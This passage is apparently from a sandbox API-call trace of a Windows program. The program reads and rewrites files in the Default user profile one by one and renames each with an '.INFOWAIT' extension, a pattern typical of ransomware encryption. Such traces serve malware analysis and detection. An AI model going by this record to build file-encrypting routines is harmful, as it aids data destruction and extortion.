"c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.742] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1b0 [0146.742] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.742] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.743] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1b0, lpOverlapped=0x0) returned 1 [0146.744] VirtualAlloc (lpAddress=0x0, dwSize=0x1b0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.744] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.744] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x1b0, lpOverlapped=0x0) returned 1 [0146.744] CloseHandle (hObject=0xad0) returned 1 [0146.744] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" [0146.744] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini.INFOWAIT" [0146.744] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\desktop.ini.infowait")) returned 1 [0146.747] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.748] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.748] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.748] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\compressed (zipped) folder.zfsendtotarget"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.748] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3 [0146.748] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.748] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.748] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3, lpOverlapped=0x0) returned 1 [0146.750] VirtualAlloc (lpAddress=0x0, dwSize=0x3, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.750] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.750] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3, lpOverlapped=0x0) returned 1 [0146.750] CloseHandle (hObject=0xad0) returned 1 [0146.750] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" [0146.750] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.INFOWAIT" [0146.750] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\compressed (zipped) folder.zfsendtotarget"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Compressed (zipped) Folder.ZFSendToTarget.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\compressed (zipped) folder.zfsendtotarget.infowait")) returned 1 [0146.751] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.751] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.752] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.752] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop (create shortcut).desklink"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.752] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7 [0146.752] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.752] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.752] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7, lpOverlapped=0x0) returned 1 [0146.753] VirtualAlloc (lpAddress=0x0, dwSize=0x7, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.754] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.754] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7, lpOverlapped=0x0) returned 1 [0146.754] CloseHandle (hObject=0xad0) returned 1 [0146.754] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" [0146.754] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink.INFOWAIT" [0146.754] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop (create shortcut).desklink"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop (create shortcut).DeskLink.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop (create shortcut).desklink.infowait")) returned 1 [0146.754] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.755] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.755] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.755] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.756] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x22e [0146.756] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.757] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.757] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x22e, lpOverlapped=0x0) returned 1 [0146.758] VirtualAlloc (lpAddress=0x0, dwSize=0x22e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.758] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.758] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x22e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x22e, lpOverlapped=0x0) returned 1 [0146.763] CloseHandle (hObject=0xad0) returned 1 [0146.763] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" [0146.763] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.INFOWAIT" [0146.763] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\desktop.ini.infowait")) returned 1 [0146.764] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.764] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.764] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.764] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\documents.mydocs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.765] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0146.765] CloseHandle (hObject=0xad0) returned 1 [0146.765] lstrcpyW (in: lpString1=0x26ef5c4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs" [0146.765] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs.INFOWAIT" [0146.765] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\documents.mydocs"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Documents.mydocs.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\documents.mydocs.infowait")) returned 1 [0146.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0146.765] GetLastError () returned 0x0 [0146.766] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0146.766] GetLastError () returned 0x0 [0146.766] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.766] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\fax recipient.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.768] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4d6 [0146.768] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.769] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.769] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4d6, lpOverlapped=0x0) returned 1 [0146.771] VirtualAlloc (lpAddress=0x0, dwSize=0x4d6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.771] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.771] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4d6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4d6, lpOverlapped=0x0) returned 1 [0146.771] CloseHandle (hObject=0xad4) returned 1 [0146.771] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" [0146.771] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk.INFOWAIT" [0146.771] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\fax recipient.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Fax Recipient.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\fax recipient.lnk.infowait")) returned 1 [0146.772] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.773] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.773] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.773] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.773] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4 [0146.773] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.773] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.773] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4, lpOverlapped=0x0) returned 1 [0146.775] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.775] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.775] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4, lpOverlapped=0x0) returned 1 [0146.775] CloseHandle (hObject=0xad4) returned 1 [0146.775] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" [0146.775] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.INFOWAIT" [0146.775] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\Mail Recipient.MAPIMail.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\sendto\\mail recipient.mapimail.infowait")) returned 1 [0146.776] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.776] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.777] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.777] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0146.777] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xae [0146.777] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.777] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.777] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xae, lpOverlapped=0x0) returned 1 [0146.778] VirtualAlloc (lpAddress=0x0, dwSize=0xae, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.779] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.779] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xae, lpOverlapped=0x0) returned 1 [0146.779] CloseHandle (hObject=0xad4) returned 1 [0146.779] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" [0146.779] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini.INFOWAIT" [0146.779] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\desktop.ini.infowait")) returned 1 [0146.779] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.780] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.780] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.780] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.781] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2c0 [0146.781] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.782] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.782] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2c0, lpOverlapped=0x0) returned 1 [0146.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2c0, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.783] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.783] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2c0, lpOverlapped=0x0) returned 1 [0146.783] CloseHandle (hObject=0xad0) returned 1 [0146.783] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start 